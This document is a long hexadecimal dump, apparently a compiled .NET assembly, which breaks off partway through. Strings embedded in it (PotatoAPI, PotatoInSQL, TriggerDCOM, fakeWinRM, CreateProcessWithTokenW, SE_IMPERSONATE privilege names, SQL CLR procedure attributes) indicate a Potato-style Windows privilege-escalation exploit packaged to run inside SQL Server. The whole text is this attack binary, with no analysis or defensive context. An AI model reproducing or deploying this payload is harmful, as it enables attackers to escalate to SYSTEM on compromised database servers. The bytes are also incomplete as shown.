000100C72B00000200002A00000100B63600000200A82200000100A82200000100B63600000200A822000001008D1A10100200002A000001008D1A000002006D35000003003D2A10100400002A00000100A82200000100501D00000100501D00000100A02800000100082700000100781900000200BC2400000100781900000200FC2600000300BC2400000100781900000200FC2600000300BC2400000400EB2200000100781900000200BC2400000100781900000200FC2600000300BC2400000100781900000200FC2600000300BC2400000400EB2200000100781900000200BC2400000100781900000200FC2600000300BC2400000100781900000200BC2400000100781900000200FC2600000300BC2400000100E61400000100AC2B00000100501D10100100C73600000100543502000200293500000100DF3000000100830F00000100830F00000100830F00000100243600000100DF3000000100C72B00000200B52900000300501D00000100F613000001005E32022002006332020003007011000001005E32002000000000000001000F3200000200233600000300CC0F02000400A010000001000F3200000200233600000300CC0F02000400922300000100CC0F00000100053200000200CC0F00000300001900000100053200000200CC0F00000300001902000100621F00000200761E01000100611201000200233601000300DA3501000400CC3501000500C40D02000600581201000100611201000200233601000300DA3501000400CC3501000500C40D02000600F01D01200100CA2201000200611201000300233601000400DA3501000500CC3501000600C40D01200100CA2201000200611202000300223601200100CA2201000100E41101200100EE1701000200041501000300480101000400700202200500C92201200100EE1701000200480101000300041501000400700202200500C92201200100EE17010002000415010003004801010004007002022005005C1F01200100EE1701200200FC3701000300041501000400431501000500EF11022006005C1F010001004E15012002005A15010003004315012004001B3501200100EE17012002001B3501200300071801000400FC2D01000100222E01000100480101000200700201000300D80202200400CF2201200100EE1701200100381701200200071801200100EE17012002003718012003003018012004003E18010001008312010001008B30010002005F2002200100621F01000200761E02200100233600000200CC0F02000300A01000200100233600000200CC0F02000300922300000100631D00000200B423020003004C2500000100091E00000100CA2200000200CC0F02000300A01002000400922300000100222E00000100053200000200CC0F00000300001900000100053200000200CC0F00000300001902000100621F00000200761E02000100C92200000100501D00000100501D00000100932D000001009D2D00000100932D00000100951200000200501E000001006A2D00000100691F00000100A12000200200CF19020003001336000001001B3600000200041500000300EF1102000400812300000100B22700000200821200200300AB2900000400CE36000005005D1F00000600442803000700A530000001008E1000000200163500000300820B00000100D93100000100C82D00000100C82D000001008718000002009C18000003000A2D00000400EA1D00000100EA1600000200E72800000300A81000000400BD1000000500871100000100623100000200672000000300312E00000100243500000200141E00000100242300000200052E000003009117000004004E1800000500122E00000600C53200000700C637010008009927020009003D24000001002423000002009117000003004E18000004002D2D00000500F72C00000600822C00000700122E00000800C53200000900C63700000A00992702000B003D24000001000B1100000200F91400000100CE16000002002732002000000000000001001C18000002002918002003008E1200200000000000000100D51600200200442C002003003D1A00000400092000000500241A00000600FC1F002000000000000001009E1600000200F92F02000300711600000100152300000200F72F000003001B2D000004000A21000005001819020006007623000001007D1600000200242300200000000000000100623102000100C532000002002423000003005532000001001838000001001838000001003D2F000001000E3600000100861300000100C82000000200671500000300C01900000400280600000500A10F00000600D62200000700D33200000800B22000000900A53700000100B22000000200A335000003004D3500000400382800000500D92700000600E83502000700653502000800792B00000900112800000100A33502000200242300000100A61500000200D41E00000300A72100000100E41100000100611200000200233600000300DA3500000400CC3500000500C40D02000600F01D00000100611200000200233600000300DA3500000400CC3500000500C40D02000600581200000100CA2200000200611200000300233600000400DA3500000500CC3500000600C40D00000100CA2200000100CA2200000200611202000300223600000100222E000001004E15000002005A15000003004315000004001B3500000100EE17000002000415000003004801000004007002020005005C1F00000100EE1700000200041500000300480100000400700202000500C92200000100EE1700000100480100000200700200000300D80202000400CF2200000100EE17000002001B3500000300071800000400FC2D00000100EE1700000200FC3700000300041500000400431500000500EF11020006005C1F00000100EE1700000200480100000300041500000400700202000500C92200000100381700000200071800000100831200000100EE17000002003718000003003018000004003E18000001008B30000002005F2000000100621F00000200761E00000100321A00000100321A00000100FC26000001003B1000000100781900000200FC2600000300363400000400BC2400000100781900000200FC2600000300363400000400BC2400000500EB22000001003B1000000100781900000200FC2600000300BC24000001003B1000000100781900000200FC2600000300BC24000001003B1000000100DF3000000100DF3000000100741E00000100243600000100243600000100321A000001003B1000000100D536000002003338000001002B1000000200F70F00000300831700000100612800000100420600000200573000000100612800000100A61E00000200C41E00000100612800000100263600000100392E00000200F12D000003009F12000004007912000005007D1200000600033700000100612800000100263600000100F61D00000100A72D00000100A72D00000200301900000100F61D00000100A72D00000100321A040079000400710004006500040012000400160004000E00210054002100580023000E002300650023000A0023005D002300610024000E002400650024000A0024005D002400610029000E00290065002D000E002D0065002D000A002D005D002D00610044005D0045005D004A000A004A005D004A0061000900222B01001100222B06001900222B0A002900222B10003100222B10003900222B10004100222B10004900222B10005100222B10005900222B10006100222B15006900222B10007100222B10008100222B06009100222B0600B100222B0600B900041A0600C100743521001400B3332B00C100FF310600C100B33330001C00DC2A3A00C900DC2A4300D100222B0600D900222B1000E1006A274800E10045122100E10083343000F10055114F00F100872E5400F100391E4F00F100FB345900F100851D5F00F10032310100F100DA1D2100F10051226400F100732259005101222B76008901222B1000D101222B8F00D101222B9600E101222B06000902222B06007900222B06005102222B10004400231D21004400DE1C2B004400222BB1004C00B3332B005902DE1FBD0059024231C1006902222BC80071023832D1007902A523DC005902521FE20059025D2EE8005902552FED005400222B060054005511B1005400482806005400872EF90054006A27FF005400851DF9005400FD33BD005400DC2A07015400391E18015400FB341E015400323101008102222B10006902222B10000C0004162501590242312C01540051223201540073221E015400222B38015400133742015902BD2348018902222BC8005902483253017900ED14BD0061023F1F5A0159023B315E01E900391E6401E9007818300019015F1689011901F01821001901B91821001901172521001901332592011901E23798011901BE30A20199029E29A901A1022D1FB201A9022F175A0159024231B70159027937CC012C005511B10071023F1F5A01B1028935D90159022738E00159021620E8005902521FE5012101222B06002101222B10002101222BEA012101222BF2013901481FFC012101BE0FF2013901E81C01027400222B06008101222B10003400222B06007C00222B17020C00222B210234005122250134009D222C028400642E41028C005122320134007C2201003400963751029400851DF900340095222C025400222B01009400551177025C00B3332B005C007435210084005511B1009C00222B2102A400222BA402AC00222BC20274005511B1003400872EF9005902E237E8027400DC2A0701B400B3332B00B4007435210081016B1F0D03D10207302100A9014A2F1403D90251221A03E102DE1C5A0159023B312C0359023B3133035902483240035902EE37E80279003F1F5A018400DC2A3A00BC00B3332B005902222B8203B101691A1000B1015C180600B1015C18100081016F2CA9033902DC2A4300F102A319B10361023F1FB70359022F38CE003101222B010031012914C70331012914CE0371028F14DD03C4000416B1000103222B100009033B3501040903292A01043C00222B0600CC005511B100D400222B0600D4005511B100D400DC2A0701DC00B3332B00DC007435210071028F14D1005902BD225A01E400222B21023C00872EF9003C00512225015400DB155404EC00222B2102D400351472045400D2153801F400222B2102FC001135C004FC00DC2A07010401B3332B000C0126372B000C01DE1CE204040174352100FC00222B0600CC00DC2A3A001401B3332B000C01222B7702FC005511B10059023B3123051903C3273B0509035C183E052103222B5E05290337156405F901222B6A05F9018B0174053903222B1000F901602D7805E901222B5E052103222B06000102222B87050102691A8E05E901D73693050102691A5E050102CF21980521031337930541030B22A20541038437A705E901222B10002902222BB0055103222B21021902222BB8051902D634060031025B1DC8052903990A64052903481FCE0581016F2CD4053902FD33BD0039025122DB053102222BED053102B525FA0589033A2005069103222B0A0631023014120631028B2301002902CE312100310294211906310290342106A903001F2706A903111F2D062903B62D330631022414C8053102E0190600310282311206E90084374D062101AE155A0109035C1856061901FB056D06B103AB1476060903691A3E05B903E3368406E9008437940611017D11BC06C903222BC4064103172ACD064102222B06008102222BEA0119039601BD0059024231D1061903EE37DB06D103DA23E406D903E823EA06E1030D2ABD00E9036618F006F1032E37F506F103301DB201F9030C1AFC060104222B07074902222B100711047E1818071904B4341E0721042C3225074902201F2C07190429361E071904951306004103191E56074103191E5D0729036932640521019C145A01D901EE17CE0019022A11680719023D10BD001C01DC2A3A000103222B06003101222B06003101DE1FBD003101E91F0100290145185A012901041A06009C000416B1002401BC249A072C010416B1003401BC24BA073C01041677024401222B060044015511B100E4000416B1004C010416770259021620EE0759028219FC07F901B6030A08F9014E280E080102222B6A050102691A18080102691A1D08F901070329080102691A330841036E20A20541037B2038084103843742084103632B4B084103941952081903E237DB063104222B10004401FD33BD00440151223201440132310100080024006F0808002800740808002C007908080064007E0808006800830808006C0088080800BC008D080800C00092080700DC0097080700E0009A080700E4009D080700E800A0080700EC00A3080700F000A6080700F400A9080700F800AC080700FC00AF0807000001B20807000401B50807000801B80807000C01BB0807001001BE0807001401C10807001801C40807001C01C70807002001CA0807002401CD0807002801D00807002C01D30807003001D60807003401D90807003801DC0807003C01DF0807004001E20809004401E50808005C016F080800600174080800640179080800EC01EA080800F001EF080800F4016F080800F801F4080800FC01EA0808000C02F908080010026F0808001402790808001802FE0808001C0274080800200203091200DD026F081200ED026F080900F00274080200F102000A0900F40279080900F80208090B0020030D090B0024031609120025036F08120035036F0809004403740809004803790809004C03080909005003F90809005403FE08090058031F0909005C03240909006003EF08090064038D0809006803290909006C032E0909007003920809007403330909007803380909007C033D09090080034209090084034709090088034C0909008C035109090090035609090094035B0909009803600909009C0365090800A4036F080800A80347090800AC036A090800B0036F080800B40374080800B80379080800BC0324090800C0036F090800C4031F090800C803FE081200C9036F080800CC0351090800D00374090800D40379090800D80333090800DC034C090800E0036F080800E4037E090800E803830908000C046F08080010047408080014047908080018045B0908002004740808002404790808009804740808009C0479080800A40474090800A804F9080800AC04FE080800B00429090800B40492080800B80408090800BC042E090800C00456090800C8046F080800CC0474080800D00479080800D4045B090800D80408090800DC0488090800E0048D090800E40492090800E804F9080800EC0497090800F0049C090800F404A1090800F804A6090800FC04AB0908000005B00908000405B50908000805FE0808000C05BA0908001005BF0908001405C40908001805C90908001C05600908002005CE0908002405650908002805D30908002C05D80908003005DD0908003405E20908003805E70908003C057E0808004005EC0908004405F109080048051F0908004C05F60908005005FB09080064056F08080068056F0808006C0574080800700579082000730074082E000B0063132E0013006C132E001B008B132E00230094132E002B00A5132E003300A5132E003B00A5132E00430094132E004B00AB132E005300A5132E005B00A5132E006300C3132E006B00ED1364007B0074088300CB002014630263002A1463024301541483025B00A513830243015414830263005D14A30263008714A3024B01B114A30253017408C3024B01B114C30253017408C3026300B814E3026300E214E30243015414C10383007408E1038300740801048300740821048300740823045B000C15410483007408430483007408610483007408630483007408810483007408830483007408430583007408630583007408830583007408A30583007408C30583007408E3058300740803065B017408810683007408A10683007408A3065B017408C3065B017408430983007408000C3B01FA13C01083007408E01083007408001183007408201183007408401183007408601183007408801183007408A01183007408201283007408401283007408401783007408601D83007408801D83007408A01D83007408C01D830074084027C30074086027C3007408C027C3007408E027C30074080028C30074082028C30074084028C30074086028C30074088028C3007408E028C30074080029C30074082029C30074084029C30074086029C3007408002CC3007408202CC3007408C02CC3007408E02CC3007408002DC3007408202DC3007408402DC30074082031C30074084031C30074088031C3007408A031C3007408C031C3007408F801A80AFE01AA0A0102AC0A0702A80A4302A80A4F02A80A5502A80A5902AA0A6102A80A6302AA0A6B02A80A6D02AA0A7502A80A7702AA0A7902A80A8102A80A8502AF0A8902A80A8B02AA0A8D02A80A8F02AA0A9B02A80A9D02AA0A9F02AA0AA102AA0AA302AA0AA502AC0AA702AC0AA902AC0AB102AC0AB502B30ABB02B30AF902B70A0903B90A6B03B70A7103BB0A7303B70A7703B70A7903BB0A8103B70A9903B70A06005501020A08000000000046000800000000004700080000000000480001000700000049009B00A300CE00D6004F017501BF01D2012702330266027F028F02D002EE020603210339034B035203600388038C0396039E03BE03D503E303FB030F04240437044F045A047E04E7040F052B05310543054C0558057E059E05BF05E20539065C067D068D069F06E1060107340762076E077D0783078C07E407F6070508120822082D083D085A08040001000500080007000D0008001400090015000A0016000C0017000D0019000E001E0011002000180025001D0028002300290024002B002D002D004A002F000000F811F71200003C34FB1200003034FF1200005B37F71200009C1DF71200001A2203130000A32208130000BE250D130000C717121300009636FF120000C83116130000D22D1B1300006E1912130000F02612130000E018201300001A34FF120000E422F71200009F2C25130000C12F25130000F02612130000F02612130000C71712130000EF292A1300001D2C331300001718121300000728121300001D2F161300002C273D130000A8314A13000014144F1300005D17121300001D2F16130000871A121300003F3554130000372A54130000EF292A130000CB11F71200007B235A130000EB155E1300007B235A130000ED32121300002B33FB120000ED32121300002B33FB120000ED32121300002B33FB120000ED32121300002B33FB1202000B00030002000C00050002001200070002001300090002001C000B0002001D000D0001001E000D00020023000F00010024000F0002002900110001002A00110002002B00130001002C00130002002D00150001002E00150002002F001700020030001900020034001B00020035001D00020036001F0002003700210002003800230002003C00250002003D00270002004700290002004D002B00020054002D0002005C002F0001005D002F0002005E00310002008600330002008700350002008800370001008900370002008A00390001008B00390002008C003B0001008D003B00020091003D00020092003F0002009B00410002009E00430002009F0045000200A00047000200A10049000200EB004B000100EC004B000200ED004D000100EE004D000200EF004F000200FC00510002003E015300020040015500020047015700020049015900020066015B00020068015D0002008C015F0002008E016100040014003500040016003700040018003900040028002F0004002C003B0004002E003D00040030003F0004003200410004003400430004003600450004003800470004003A00490004003C004B0023007602230023007802250023007C02270023007E022900230080022B00230082022D00230084022F0024008802230024008A02250024008E022700240090022900240092022B00240094022D00240096022F002900B0022F002D00C20223002D00C40225002D00CC0227002D00CE0229002D00D0022B002D00D2022D002D00D4022F004A00140323004A00160325004A00180327004A001A0329004A001C032B002F2153214621720139217C21882160211A002500340069006F007D008600AB00B700F20011017201860107020F0239024A025D0287029C02B802FE027B03F00307041C042F0448046A04A404B204CB04D904080577079207A807B007C907D207DD070101F101872001000101F301762D01000101F5017215010040010D029118020040010F02E1160200400111022824020000011302B837030044011502AC0E040044011702C40E050000011902FB10020000011B027110020040011D024E31060044011F02031D050044012102592C0500400123023E230500460125024C3605004001270206230500400129022C30020046012B025316020040012D0243200700400141028516080040014302F5350800400145025C230800B41F01008C00048000000100000000000000000000000000560B00000400000000000000000000006608CF0F000000000400000000000000000000006608890F000000000400000000000000000000006608B62200000000230003002400080025000C0026000C0027000C0028000C0029000C002A000C002B000C002C000C002D0011002E0011002F00120030001A0031001A0032001A0033001A0034001A0035001B0036001B0037001B0038001B0039001E003A001E003B001E003C001E003D001E003E001E003F001E0040001E0041001E0042001E00430020004400200045002000460020004700200048002000490022004A0029000000000016002137010000001600D71C000000004E00990E0000000050002137010000005000D71C000000007700990E00000000DB00990E00000000DD00990E00000000DF00213701000000DF00D71C00000000E100213701000000E100D71C000000005B01990E000000005D01990E000000005F012137010000005F01D71C0000000061012137010000006101D71CA7006E01DC009702E000B102DE00B1027600A3077600C4070000003C3E395F5F315F30003C496E766F6B653E625F5F315F30003C2E63746F723E625F5F315F30003C3E635F5F446973706C6179436C61737332325F30003C3E635F5F446973706C6179436C61737334325F30003C3E635F5F446973706C6179436C61737332355F30003C52756E3E625F5F33395F3000574149545F4F424A4543545F30003C4164643E625F5F30003C5472794765744E6573746564436F6D6D616E643E625F5F3000434C534354585F524553455256454431004E756C6C61626C6560310049456E756D657261626C65603100507265646963617465603100416374696F6E60310049436F6C6C656374696F6E603100526561644F6E6C79436F6C6C656374696F6E603100416374696F6E4F7074696F6E603100436F6D70617269736F6E60310049456E756D657261746F72603100494C6973746031006477526573657276656431007265736572766564310048616E646C655479706531003C3E6D5F5F46696E616C6C7931004F6C653332006164766170693332004D6963726F736F66742E57696E3332005265616455496E74333200546F496E74333200434C534354585F524553455256454432003C6172673E355F5F32003C657769647468733E355F5F32003C726573743E355F5F32003C437265617465577261707065644C696E65734974657261746F723E645F5F32004F7074696F6E416374696F6E6032004B65796564436F6C6C656374696F6E603200416374696F6E4F7074696F6E603200436F6E7665727465726032004B657956616C7565506169726032004944696374696F6E6172796032006362526573657276656432006C70526573657276656432006477526573657276656432007265736572766564320048616E646C655479706532003C3E375F5F7772617032003C3E6D5F5F46696E616C6C793200434C534354585F524553455256454433003C6C696E653E355F5F33003C68773E355F5F33003C476574456E756D657261746F723E645F5F33007265736572766564330048616E646C655479706533003C3E375F5F7772617033003C3E6D5F5F46696E616C6C7933005265616455496E74363400434C534354585F5245534552564544340045504D5F50524F544F434F4C5F4F53495F545034003C77696474683E355F5F34003C743E355F5F3400434C534354585F524553455256454435003C656E643E355F5F35003C693E355F5F35003C7375627365743E355F5F35003C3E375F5F777261703500434C534354585F494E50524F435F48414E444C4552313600434C534354585F494E50524F435F5345525645523136005265616455496E743136003C656E64436F7272656374696F6E3E355F5F36003C476574436F6D706C6574696F6E733E645F5F3337005F5F5374617469634172726179496E69745479706553697A653D37003C633E355F5F37003C476574417267756D656E74733E645F5F370038304246424131453830314138323833344542433442343545333134313739324146373735373344434141313241303232323741314136444134334646373739003C3E39003C4D6F64756C653E003C50726976617465496D706C656D656E746174696F6E44657461696C733E00434C534354585F454E41424C455F41414100434C534354585F44495341424C455F414141005345434255464645525F444154410045504D5F50524F544F434F4C5F534D4200434C534354585F494E50524F430045504D5F50524F544F434F4C5F56494E45535F4950430045504D5F50524F544F434F4C5F4E43414C52504300544F4B454E5F52454144005354414E444152445F5249474854535F524541440053484152455F44454E595F5245414400434C534354585F454E41424C455F434F44455F444F574E4C4F414400434C534354585F4E4F5F434F44455F444F574E4C4F41440053455F50524956494C4547455F454E41424C454400574149545F4641494C454400574149545F4142414E444F4E4544005354414E444152445F5249474854535F5245515549524544005452414E534143544544004D4158494D554D5F414C4C4F574544007049494400544F4B454E5F41444A5553545F53455353494F4E4944004F49440049504944004765745479706546726F6D434C534944004C5549440045504D5F50524F544F434F4C5F55554944004F584944005041757468656E7469636174696F6E494400546F776572494400746F776572494400534543504B475F435245445F494E424F554E4400534543504B475F435245445F4F5554424F554E4400544F4B454E5F51554552595F534F55524345004352454154455F4E45575F434F4E534F4C450053494D504C450053455F494E4352454153455F51554F54415F4E414D450053455F5443425F4E414D450053455F4352454154455F5041474546494C455F4E414D450053455F53595354454D5F50524F46494C455F4E414D450053455F53595354454D54494D455F4E414D450053455F4D414E4147455F564F4C554D455F4E414D450053455F54494D455F5A4F4E455F4E414D450053455F524553544F52455F4E414D450053455F494D504552534F4E4154455F4E414D450053455F44454255475F4E414D450053455F554E444F434B5F4E414D450053455F4352454154455F53594D424F4C49435F4C494E4B5F4E414D450053455F4352454154455F474C4F42414C5F4E414D450053455F52454C4142454C5F4E414D450053455F41535349474E5052494D415259544F4B454E5F4E414D450053455F4352454154455F544F4B454E5F4E414D450053455F454E41424C455F44454C45474154494F4E5F4E414D450053455F53485554444F574E5F4E414D450053455F52454D4F54455F53485554444F574E5F4E414D450053455F54414B455F4F574E4552534849505F4E414D450053455F4241434B55505F4E414D450053455F4C4F41445F4452495645525F4E414D450053455F545255535445445F435245444D414E5F4143434553535F4E414D450053455F50524F465F53494E474C455F50524F434553535F4E414D450053455F494E435F574F524B494E475F5345545F4E414D450053455F41554449545F4E414D450053455F53594E435F4147454E545F4E414D450053455F53595354454D5F454E5649524F4E4D454E545F4E414D450053455F4352454154455F5045524D414E454E545F4E414D450053455F4D414348494E455F4143434F554E545F4E414D450053455F554E534F4C4943495445445F494E5055545F4E414D450053455F4348414E47455F4E4F544946595F4E414D450053455F4C4F434B5F4D454D4F52595F4E414D450053455F494E435F424153455F5052494F524954595F4E414D450053455F53454355524954595F4E414D450046494C4554494D450053484152455F44454E595F4E4F4E450045504D5F50524F544F434F4C5F4E414D45445F5049504500544F4B454E5F54595045004641494C494654484552450044454C4554454F4E52454C4541534500544F4B454E5F4455504C49434154450043524541544500544F4B454E5F494D504552534F4E41544500494E46494E495445005245414457524954450053484152455F44454E595F57524954450053484152455F4558434C55534956450042554653495A45004D41585F544F4B454E5F53495A450045504D5F50524F544F434F4C5F4E4341444700434C534354585F4E4F5F4641494C5552455F4C4F470049456E756D53544154535447004E4F53435241544348006765745F415343494900506F7461746F415049004D554C54495F51490045504D5F50524F544F434F4C5F4E4554424555490045504D5F50524F544F434F4C5F4150504C4554414C4B0045504D5F50524F544F434F4C5F53545245455454414C4B005345435F455F4F4B00434C534354585F4E4F5F435553544F4D5F4D41525348414C0053454355524954595F494D504552534F4E4154494F4E5F4C4556454C00434C534354585F414C4C0045504D5F50524F544F434F4C5F4E554C4C00506F7461746F496E53514C005365706172617465574F5756444D005354474D005472696767657244434F4D0066616B6557696E524D0045504D5F50524F544F434F4C5F4E4341434E005345434255464645525F544F4B454E005345434255464645525F56455253494F4E0050524F434553535F494E464F524D4154494F4E004153435F5245515F434F4E4E454354494F4E0053544152545550494E464F00434F534552564552494E464F0053797374656D2E494F0045504D5F50524F544F434F4C5F5443500045504D5F50524F544F434F4C5F4444500045504D5F50524F544F434F4C5F5544500053454355524954595F4E41544956455F445245500045504D5F50524F544F434F4C5F49500045504D5F50524F544F434F4C5F56494E45535F5350500045504D5F50524F544F434F4C5F4453500045504D5F50524F544F434F4C5F444E45545F4E53500045504D5F50524F544F434F4C5F4854545000434C534354585F494E50524F435F48414E444C455200434C534354585F494E50524F435F53455256455200434C534354585F52454D4F54455F53455256455200434C534354585F4C4F43414C5F53455256455200434C534354585F41435449564154455F33325F4249545F53455256455200434C534354585F41435449564154455F36345F4249545F53455256455200434C534354585F534552564552004449524543545F53574D520045504D5F50524F544F434F4C5F554E49585F445300544F4B454E5F50524956494C4547455300544F4B454E5F41444A5553545F50524956494C45474553005354415254465F55534553544448414E444C45530053454355524954595F41545452494255544553004D53484C464C4147530045504D5F50524F544F434F4C5F4F53495F434C4E530045504D5F50524F544F434F4C5F4E455442494F5300544F4B454E5F41444A5553545F47524F55505300544F4B454E5F414C4C5F4143434553530044455441434845445F50524F43455353004449524543540048414E444C455F464C41475F494E484552495400544F4B454E5F41444A5553545F44454641554C54004E4F534E415053484F5400434F4E5645525400574149545F54494D454F555400434C534354585F46524F4D5F44454641554C545F434F4E54455854004352454154455F4E4F5F57494E444F570043726561746550726F6365737357697468546F6B656E570043726561746550726F63657373417355736572570045504D5F50524F544F434F4C5F4E425F4950580045504D5F50524F544F434F4C5F4950580045504D5F50524F544F434F4C5F53505800434C534354580064775800544F4B454E5F41535349474E5F5052494D41525900544F4B454E5F5155455259004153435F5245515F414C4C4F434154455F4D454D4F5259005052494F52495459005345434255464645525F454D505459006477590076616C75655F5F00537472696E67436F64610065787472610053797374656D2E446174610053716C4D65746144617461007041757468446174610052656C656173654D61727368616C44617461004765744F626A65637444617461006362006D73636F726C6962003C3E630053797374656D2E436F6C6C656374696F6E732E47656E6572696300617574687A536E630053656342756666657244657363007365635365727665724275666665724465736300417574686E53766300617574686E53766300417574687A537663006765745F4D616E616765645468726561644964003C3E6C5F5F696E697469616C5468726561644964006477546872656164496400575453476574416374697665436F6E736F6C6553657373696F6E496400636C73496400647750726F6365737349640070636252656164006E4E756D6265724F664279746573546F52656164006C704E756D6265724F6642797465735265616400647752656164006572725F72656164006F75745F7265616400537461727457696E524D546872656164005465726D696E6174655468726561640068546872656164005374617274434F4D4C697374656E6572546872656164006765745F43757272656E745468726561640053797374656D2E436F6C6C656374696F6E732E494C6973742E41646400416C726561647941646465640053757370656E646564007063656C7446657463686564004973446566696E6564006C704F7665726C617070656400684372656400497342495453526571756972656400556E70726F636573736564006765745F41757468656E74696361746564007365745F41757468656E74696361746564006C70526573657276656400647752657365727665640072657365727665640053797374656D2E436F6C6C656374696F6E732E49436F6C6C656374696F6E2E497353796E6368726F6E697A65640053797374656D2E436F6C6C656374696F6E732E49436F6C6C656374696F6E2E6765745F497353796E6368726F6E697A65640070436964004F69640072696964006556616C69640041737365727456616C6964006F696400697069640070636C7369640047756964006C704C7569640067756964004F786964006F786964003C41757468656E746963617465643E6B5F5F4261636B696E674669656C64003C436F6D6D616E643E6B5F5F4261636B696E674669656C64003C4E616D653E6B5F5F4261636B696E674669656C64003C436F6D6D616E644E616D653E6B5F5F4261636B696E674669656C64003C546F6B656E3E6B5F5F4261636B696E674669656C64003C52756E3E6B5F5F4261636B696E674669656C64003C48656C703E6B5F5F4261636B696E674669656C64003C4F7074696F6E733E6B5F5F4261636B696E674669656C64003C436F6D6D616E645365743E6B5F5F4261636B696E674669656C6400636D64004765744C696E65456E640053656E64526573756C7473456E64006765745F436F6D6D616E6400416464436F6D6D616E64005472794765744E6573746564436F6D6D616E64005472794765744C6F63616C436F6D6D616E64005772697465556E6B6E6F776E436F6D6D616E6400756E6B6E6F776E436F6D6D616E640048656C70436F6D6D616E6400476574436F6D6D616E6400636F6D6D616E640053656E6400417070656E640042696E640046696E6400457865637574696F6E4D6574686F64006D6574686F64005374616E646172640053716C446174615265636F7264006165004D61727368616C496E7465726661636500556E6D61727368616C496E7465726661636500497357686974655370616365006765745F537461636B547261636500437265617465496E7374616E636500416464536F7572636500526573706F6E736546696C65536F7572636500417267756D656E74536F7572636500736F757263650047657448617368436F646500647745786974436F6465006772664D6F64650044656661756C744572726F724D6F64650053656C6563744D6F6465004576656E7452657365744D6F6465006765745F556E69636F646500736E624578636C75646500636969644578636C7564650072676969644578636C7564650070737A5061636B61676500436F476574496E7374616E636546726F6D4953746F726167650043726561746553746F72616765004F70656E53746F726167650073746F72616765006765745F4D657373616765006D65737361676500456E61626C6550726976696C6567650041646452616E67650052656D6F766552616E6765006765745F4368616C6C656E676500456E64496E766F6B6500426567696E496E766F6B650049456E756D657261626C650049446973706F7361626C65004372656448616E646C650052756E74696D654669656C6448616E646C650052756E74696D655479706548616E646C6500436C6F736548616E646C65004765745479706546726F6D48616E646C6500546F6B656E48616E646C65007048616E646C65004163717569726543726564656E7469616C7348616E646C650050726F6365737348616E646C65004576656E745761697448616E646C650062496E686572697448616E646C650043747848616E646C6500746F6B656E68616E646C65005265616446696C65006846696C6500476574417267756D656E747346726F6D46696C65005769746850726F66696C65004973566F6C6174696C65004E6577436F6E736F6C65006C705469746C65006765745F4E616D6500707763734F6C644E616D65006765745F436F6D6D616E644E616D65004E6F726D616C697A65436F6D6D616E644E616D6500636F6D6D616E644E616D65005072696E636970616C4E616D65007072696E636970616C4E616D65006C704170706C69636174696F6E4E616D65006765745F4F7074696F6E4E616D65007365745F4F7074696F6E4E616D6500536F636B65744F7074696F6E4E616D65006F7074696F6E4E616D65004765744F7074696F6E466F724E616D6500707763734E616D6500476574417267756D656E744E616D6500707763734E65774E616D65007077737A4E616D65006C7073797374656D6E616D65006C706E616D6500706174696D6500706374696D6500706D74696D6500526561644C696E65006C70436F6D6D616E644C696E650057726974654C696E65004C6F63616C4D616368696E65004E6F6E6500436C6F6E65006765745F5069706500685265616450697065004372656174655069706500685772697465506970650053716C506970650053716C446254797065006765745F497347656E657269635479706500436F6D496E7465726661636554797065006765745F4F7074696F6E56616C756554797065006765745F497356616C7565547970650064774C6F636B547970650050726F746F636F6C5479706500546F6B656E547970650053656342756666657254797065006275666665725479706500536F636B657454797065006765745F50726F746F7479706500506172736550726F746F747970650057726974654F7074696F6E50726F746F747970650070726F746F7479706500436F6D70617265005369676E617475726500507472546F537472756374757265006765745F496E76617269616E7443756C747572650043617074757265006643726564656E7469616C557365006644656C6574654F6E52656C6561736500436C6F7365003C3E335F5F636C6F73650053797374656D2E49446973706F7361626C652E446973706F7365005061727365004D756C74696361737444656C65676174650070726576696F75735374617465003C3E315F5F7374617465006E6577737461746500496E766F6B654F6E5061727365436F6D706C6574650064636F6D436F6D706C657465005772697465006572725F7772697465006F75745F7772697465006765745F537569746500737569746500436F6D70696C657247656E65726174656441747472696275746500477569644174747269627574650044656275676761626C6541747472696275746500436F6D56697369626C6541747472696275746500417373656D626C795469746C6541747472696275746500496E74657266616365547970654174747269627574650053716C50726F636564757265417474726962757465004F62736F6C65746541747472696275746500417373656D626C7954726164656D61726B41747472696275746500647746696C6C41747472696275746500446562756767657248696464656E41747472696275746500417373656D626C7946696C6556657273696F6E4174747269627574650053656375726974795065726D697373696F6E41747472696275746500417373656D626C79436F6E66696775726174696F6E41747472696275746500417373656D626C794465736372697074696F6E4174747269627574650044656661756C744D656D62657241747472696275746500466C61677341747472696275746500436F6D70696C6174696F6E52656C61786174696F6E7341747472696275746500436F6D436F6E76657273696F6E4C6F737341747472696275746500417373656D626C7950726F6475637441747472696275746500417373656D626C79436F7079726967687441747472696275746500506172616D417272617941747472696275746500417373656D626C79436F6D70616E794174747269627574650052756E74696D65436F6D7061746962696C6974794174747269627574650042797465005456616C7565006765745F56616C75650041646456616C756500506172736542756E646C656456616C7565004C6F6F6B757050726976696C65676556616C756500506172736556616C7565006765745F48617356616C75650047657456616C7565004765745365637572697479456E7469747956616C75650076616C75650053617665005265636569766500646C69624D6F76650053797374656D2E436F6C6C656374696F6E732E494C6973742E52656D6F76650064775853697A650064775953697A650053797374656D2E436F6C6C656374696F6E732E494C6973742E4973466978656453697A650053797374656D2E436F6C6C656374696F6E732E494C6973742E6765745F4973466978656453697A65006E53697A65007053697A650062756666657253697A650053657453697A65006C69624E657753697A650073697A650053697A654F660053797374656D2E436F6C6C656374696F6E732E494C6973742E496E6465784F66005374616E646172644F626A526566007374616E646172644F626A52656600646566003C3E335F5F73656C660070497466006275660067726653746174466C616700666C61670053797374656D2E546872656164696E6700537472696E6742696E64696E6700737472696E6742696E64696E6700536563757269747942696E64696E6700736563757269747942696E64696E670062696E64696E6700456E636F64696E6700436F6D6D616E6448656C70496E64656E7452656D61696E696E670046726F6D426173653634537472696E6700546F426173653634537472696E670053657453716C537472696E6700436F6E7665727446726F6D537472696E6700546F537472696E6700476574537472696E6700537562737472696E67007070737467007073746174737467004D6174636800466C757368004D617468004465736372697074696F6E5F52656D57696474680072656D5769647468004F7074696F6E5769647468006375725769647468004465736372697074696F6E5F466972737457696474680066697273745769647468004765744E6578745769647468006765745F4C656E677468007365745F4C656E677468006E4C656E6774680072657475726E6C656E677468006275666665726C656E67746800537461727473576974680069004173796E6343616C6C6261636B0063616C6C6261636B004C6F6F706261636B00437265617465456E7669726F6E6D656E74426C6F636B005365656B006772664D61736B0064774D61736B00416C6C6F6348476C6F62616C004672656548476C6F62616C00437265617465494C6F636B42797465734F6E48476C6F62616C0068476C6F62616C00494D61727368616C00706843726564656E7469616C004F7074696F6E616C0070737A5072696E636970616C0053797374656